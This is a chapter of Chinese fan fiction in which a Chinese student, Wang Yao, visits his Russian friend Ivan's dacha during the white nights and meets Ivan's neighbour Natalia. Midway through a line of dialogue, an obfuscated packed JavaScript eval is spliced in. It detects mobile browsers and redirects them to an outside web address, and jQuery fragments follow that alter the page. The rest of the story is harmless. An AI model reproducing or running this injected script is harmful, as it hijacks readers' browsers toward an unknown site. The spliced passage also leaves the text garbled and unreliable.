如果有什么是所有SL人都想要的，那一定是夏天！还有什么比一天二十小时的阳光浴更令人激动的呢？王耀对这种“极昼现象”还有点不适应，不落的太阳令他情绪疲惫，而伊万们则像一群要去狩猎斑鸠的猎狗兴奋到不行。之所以称呼这个群体为“伊万们”，是因为其中真的包含了伊万。


    虽然不能睡得很好，但王耀总体还是满意的，特别是在他拿到本学期的所有考试成绩之后。“看来我有可能提前毕业，”王耀大大地松了一口气，“也许用不了三年，两年半内我就能完成论文和论文答辩！”


    “你不会是把这个暑假全都计划成学习了吧。”伊万不满地看着每天学习十二个小时的对方，这次他收拾了行李，准备要离校的样子。


    “你这次是要回莫斯科了么？”


    “莫斯科？”伊万露出不可思议的表情，“我才不会把一年两个月的珍贵夏季浪费在拥挤嘈杂的莫斯科呢。我要去乡下的别墅，那可是个好地方。”


    在SL只要是有工作的人，几乎家家在近郊都会有一幢“别墅”，但和欧洲其他地方的“别墅”的概念不同，这更像是消磨假期的乡间小屋。


    “伊万，你是不看报纸么？今年年初芬兰还在和你们交战呢！这里离芬兰不是很远了吧？”


    “战争已经结束啦，而且规模应该不大，你看我们都没有停课。别用你们ZG式的孝道来谴责我，这次是我父母要求的，别墅那边的菜园子也要有个人稍稍打理打理才行啊。”


    “唉，好吧，祝你有一个愉快的暑假，而我呢，要给窗户加一层窗帘，要不然我没法入睡了。”


    “嗨！我说！”伊万跨坐到了自己的行李上，“要不要来我家？我会做饭，比食堂的饭菜好吃的多！”


    “我……”


    “不要拒绝我，你完全可以把书带上！我家的别墅在绿城边，你要知道那是个多美的地方！而且我家的不是Коттеджи，是дачи。”


    Коттеджи王耀在莫斯科周围见过很多，一般都是不大的小木屋，дачи王耀还没注意到过，这个算得上是真正的别墅？不过这个对于生在南京的王耀，算不上是个有吸引力的理由。


    “作为交换，”伊万又想了想，“你可以选一本德语的专业书，我来帮你翻译成俄语？”


    “我不需要把德语翻译成俄语，我需要的是把俄语翻译成中文，伊万同学。”


    “我可以帮助你，特别是俄语，对了，我可以教你俄语。”


    “可我真的没有时间啊！”


    “怎么可能？你以为你还能找到你的导师？他早就跑到乡下去啦，在夏天，你别想在学校里找到一个人，我向你保证。”


    “我真的得留在这里学习。”


    “别拒绝，”伊万突然露出萧瑟的表情，“你一个人在这里，会多孤单啊。”


    “明明就是你自己害怕孤单吧？”王耀笑着弯下腰，“自己不回家，还拖累我。”


    “我有一屋子的书！保证你不虚此行。”


    王耀不知道自己会不会有空消受那一屋子的书，总的来说是盛情难却了。绿城距离列宁格勒有五十多俄里,伊万家的别墅在绿城的另一端，所以到达绿城后，两个人还需要拖着行李转车。经过短暂的休憩，颠簸的旅程还需继续。王耀甚至无心欣赏绿城的风景，直接靠在车窗上睡着了。伊万不大明白为何这个人面对旅行能如此淡然，他却不知道王耀已经走过了太多的地方，旅途就是他最熟悉的生活经历。


    二月的黑夜有多久，现在的白昼就有多长。


    等王耀打着哈欠下车的时候，太阳还挂在正空，要知道，现在已经下午五点了。


    “饿。”


    “放了行李我们就去邻居家吃饭。”


    “咦？”


    “我父亲的好朋友，离我们家十多分钟的路程，我告诉了他们你要来的，走吧，走吧！”


    感觉自己还晕乎乎的王耀，拽着自己的行李，努力跟上伊万的步伐。


    不得不承认，这一片住宅区很美，虽然要隔很远才能看到一幢小楼，但这些蓝色或棕色的小楼都很精致，花园也打理得非常整洁。伊万家的小楼是棕色的，距离车站有半个小时的路途，伴着乡间的微风，旅途的困倦终于逐渐消散了。


    “你看，到了。”伊万指着前面，“啊！娜塔莎！你好！娜塔莎！”


    小院子的门口坐着一位小姑娘，中学生的年龄，有着精致的脸庞和闪闪发光的金发：“哥哥！哥哥！你终于到啦！”


    伊万扔下行李，把扑进他怀里的小姑娘抱了起来：“你多久就来了啊？久等了吧？”


    “您就是哥哥的那位朋友么？”小姑娘搂着伊万的脖子，好奇地看着眼前的外国人。


    “您好，我是王耀，来自ZG。”


    “这是娜塔莉亚·彼得洛夫娜·阿尔洛夫斯卡娅。”


    “这算什么介绍啊！”娜塔莉亚伸出手，“您好，您可以叫我娜塔莉亚，我在列宁格勒音乐学院附中上学，学的是大提琴，您会拉大提琴么？”


    “很抱歉，我不会拉大提琴。”王耀握住了她的手，配合她像成年人那样摇了摇。


    “你这样好奇地盯着对方看会不礼貌的，”伊万笑着拉起娜塔莉亚的手，“你妈妈让你来接我们么？太感谢啦，我爸妈也让我代他们向你们问好呢。来，进来吧，我们还得换件衣服不是？”


    话是这么说，娜塔莉亚还是第一次见到ZG人，她仍旧忍不住偷偷地看了又看，嗯，怎么形容好呢？和高加索人长得不一样，和蒙古人长得也不一样，总的来说是第一次看见，真的太好奇啦。


    “哥哥，我就直接叫他王耀么？他姓什么？我应该称呼他姓吧？”等王耀去放行李后，娜塔莉亚忍不住问伊万。


    “他姓王。”


    “王？”娜塔莉亚难以置信，“就一个音？这么短？”


    “ZG人的名字都很短，他们的姓往往放在名字前面，所以通常称呼全名。”


    “也是，就两个音节，没法再简略了。”娜塔莉亚喃喃自语，“嗯，奇怪的ZG人。他的名字有什么含义么？”


    伊万想了想：“好像是光明的意思。”


    “难以理解，他应该给自己取个俄语名字，阿纳托利啊之类的。”


    “那你去问问他愿不愿意吧，如果他愿意，我可以把我的姓借给他，”伊万哈哈大笑起来，拍了拍娜塔莉亚的头，“不过现在我得去叫他吃饭了，一会儿给你讲我们大学里有趣的事情。”


    晚饭其实是正式的晚宴，阿尔洛夫斯一家盛情款待了他们的两位贵客，晚餐结束后，娜塔莉亚还和伊万合奏了卡尔·尤利耶维奇·达维多夫的《浪漫曲》。娜塔莉亚的父亲也是位机械系的教授，他听说王耀来自斯图加特便尤为的感兴趣。


    “爸爸！爸爸！我要和他说话啦！您的那些没有趣的东西，今后再说啦。”


    作为独生女的娜塔莉亚显然备受宠爱，老彼得只好耸了耸肩，把王耀让给了女儿。王耀好奇这个小姑娘要和他聊什么，没想到她把他拉到了僻静的角落里：“请问，我哥哥在列宁格勒有恋人么？”


    这个问题令王耀大跌眼镜：“你为什么关心这个呢？”


    “啊！不解风情的阿纳托利！你是不解风情还是在装糊涂啊？”娜塔莉亚生气地叉着腰。


    “应该没有吧？”王耀可不愿被扣上“不解风情”的大帽子。


    “那就好！”娜塔莉亚松了一口气，“我注定是要和伊万哥哥结婚的！谁都无法拆散我们！”


    好像没有人想拆散你们，如果伊万要你的话？看着眼前的十五岁小姑娘，王耀强忍住笑。


    “阿纳托利，拜托你！”娜塔莉亚拉着王耀的手，“如果学校里有姑娘爱慕他的话，请一定要写信告诉我！我会把我学校的地址给你的！”


    王耀只好点点头，不过，他有点疑惑：阿纳托利是谁啊？


    回去的路上，王耀半开玩笑地问他：“你有恋人了么？”


    “为何问这个问题？”伊万惊讶地看着王耀。


    “娜塔莉亚太关心了，我虽然没见过你有女伴，不过还是问问比较妥当，也算不负重托。”


    “哦，”伊万表情冷淡，“说起来，你结婚了么？”


    伊万没有见过王耀的戒指，不过东方人结婚好像不一定会戴戒指。


    “我？”王耀指了指自己，“娜塔莉亚也关心我了么？”


    不知为何，这个笑话并没有逗笑伊万，他反而挺严肃地转过头：“不方便回答么？”


    王耀不懂他为何莫名的严肃：“没结婚，怎么了？”


    “你二十六岁了，你的恋人不着急么？”


    “我没有恋人！”王耀不知为何陷入了一场审问。


    “你没有恋人？”


    “我没有恋人！”


    “你确定？”伊万跨了一步，堵在了王耀面前。


    “我确定。”


    “在DG没有，在ZG也没有？”


    “在DG没有，在ZG没有，在SL也没有，伊万同志。”


    “太奇怪了！”伊万抄起手抱在胸前。


    “这有什么奇怪的啊？”


    “你竟然没有恋人。”


    “你不也没有恋人么？”王耀摊开手，看着凝固在伊万脸上的小表情。


    “看着我的眼睛。”


    “干嘛？”


    “我要用布尔什维克的意志和智慧洞穿你


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15099166|163760||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    的谎言。”


    然而，伊万却在对视中落败了。


    当然，也什么都没有洞察到。


    在亮堂堂的晚上，伊万看着王耀黑漆漆的眼睛，只是觉得看不透。


    回到了他们的棕色小楼后，王耀把行李从楼上的卧室搬了下来：“我想了想，还是你住在楼上吧，我看书会比较晚，在楼上走来走去会吵到你的。我可以睡在书房么？”


    这的确是一栋大房子，大得让王耀差点想起了他的老家。


    “书房的窗户很大，你又要睡不着了，要不然你睡我姐姐的房间吧。没关系，她几乎没有过来住过。”伊万帮他把东西搬了下来，“已经十一点了，你不睡么？”


    “在车上睡了一下午，现在可以看看书。”书房就在安娅卧室的隔壁，的确比较方便，王耀放好衣服后便把他的书拿了出来，“你也不睡么？”


    伊万没有上楼，跟了过来：“我暂时睡不着。”


    伊万在书房里晃了两圈，搬了张椅子到王耀对面坐了下来。王耀停下笔：“你还要接着洞察我的谎言呐？”


    “没有啊，我只是看着你而已。”


    王耀露出了个你要看就看吧的表情，继续埋头苦读了，伊万看了一会儿终究是觉得没趣儿了，便准备看看堆在桌角的书，可惜找了一会儿，没有一本合他的胃口。他突然冒出了个奇妙的想法，于是拉开抽屉，找到了一本笔记本，将前面几页有字的都撕掉后，摊开来，放在写字台上。


    我要做什么呢？伊万拧开一支钢笔，也许我可以尝试在这几天写写日记，像娜塔莎那样，不过不是为了完成家庭作业，我要把它完全当做个消遣，想到哪里就写到哪里，就这样。


    伊万写下了第一行字：


    今天的天气好得超过了以往所有的夏天，可惜ZG人却在车上整整睡了三个小时！是的，三个小时！所以他现在精力好得像一只猫头鹰!他正把他面前的专业书翻得啪啪响!他真是个奇异的小生物，二十几岁的身体里躲着个七八十岁的灵魂，他的脑子里就塞着连杆啊，齿轮啊，机械制图啊之类的东西。他对绿色的原野没有反应，对蓝色的天空没有反应，对我的小提琴演奏没有反应，他要不就在车上睡觉，要不就和彼得叔叔谈论机器。


    但是我却没有办法在纸上写下“讨厌”这个词。


    伊万的手顿了顿，因为这支钢笔大概有一年没有人用了，如果他还想继续写下去，他就得找到一瓶墨水。不过这不是难事，王耀面前就有一瓶不是么？灌满一支钢笔只需要半分钟，但现在有什么好急的呢？毕竟他又不是ZG人，他有的是时间。于是他慢慢地拧开钢笔，慢慢地打开墨水盖，慢慢地一下一下地吸，但是还是在一分钟之内把墨水灌好了。


    伊万叹了一口气，开始继续：


    刚才我灌了墨水，在此期间，我发出了三次非常大的响声，最大的一次是放墨水瓶的时候，说实话，要是谁这样对我，我在梦中都会被惊醒！可是王耀呢，根本就没有受到影响！连眼皮都没有抬过！可怕的ZG人！啊，天哪，我今天竟然和他对视！还妄图要洞穿什么呢！我真是在白日做梦啦！


    可是他问起我的问题我就老实作答了，还有更可怕的事情！他总能从我脸上察觉到我的心里话！所以我认为他知道我心里一切所想，从樱桃蛋糕到其他一切一切，甚至感情上的事情。但是对于他呢？其实我一无所知，我从他的脸上，他的眼睛里，看不到任何东西，我看不出他有没有恋人，有没有感情，除非他告诉我，否则我真的一无所知。


    可怕的ZG人。我要在此再强调一次。虽然他的黑眼睛异常地美丽。


    伊万写好这句话后，迟疑了片刻，又把它杠掉了。


    “要喝茶么？”


    伊万被突然发话的王耀吓了一跳，他赶紧合上笔记本：“喝啊，怎么了？你不看书了？”


    “可惜好像没有热水，要不你先去洗澡吧，一会儿来喝茶。”


    伊万找了个抽屉，把他的日记锁了起来：“好，我一会儿就来。”


    等伊万回到房间的时候，王耀正拿着一杯热茶站在窗前：“没想到，竟然可以在凌晨一点看日落。”


    伊万接过王耀递过来的热茶，看向窗外，还是那些熟悉的篱笆、鲜花、灌木、草场。偶尔有一两只野鸭飞过低空，很安静，翅膀上有落日的余晖。


    “如果每一天都能这么长该多好啊。”王耀看着伊万的眼睛微微一笑，“我去洗澡了。”


    被留在窗前的伊万抿了一口他的茶，一股陌生的鲜花的味道伴着苦涩混进了喉咙里，于是他走回书桌前，打开抽屉，拿出笔记本，在后面写道：


    “上帝创造此君，莫非是为了给你的心，作伴于那一瞬时光？”[1]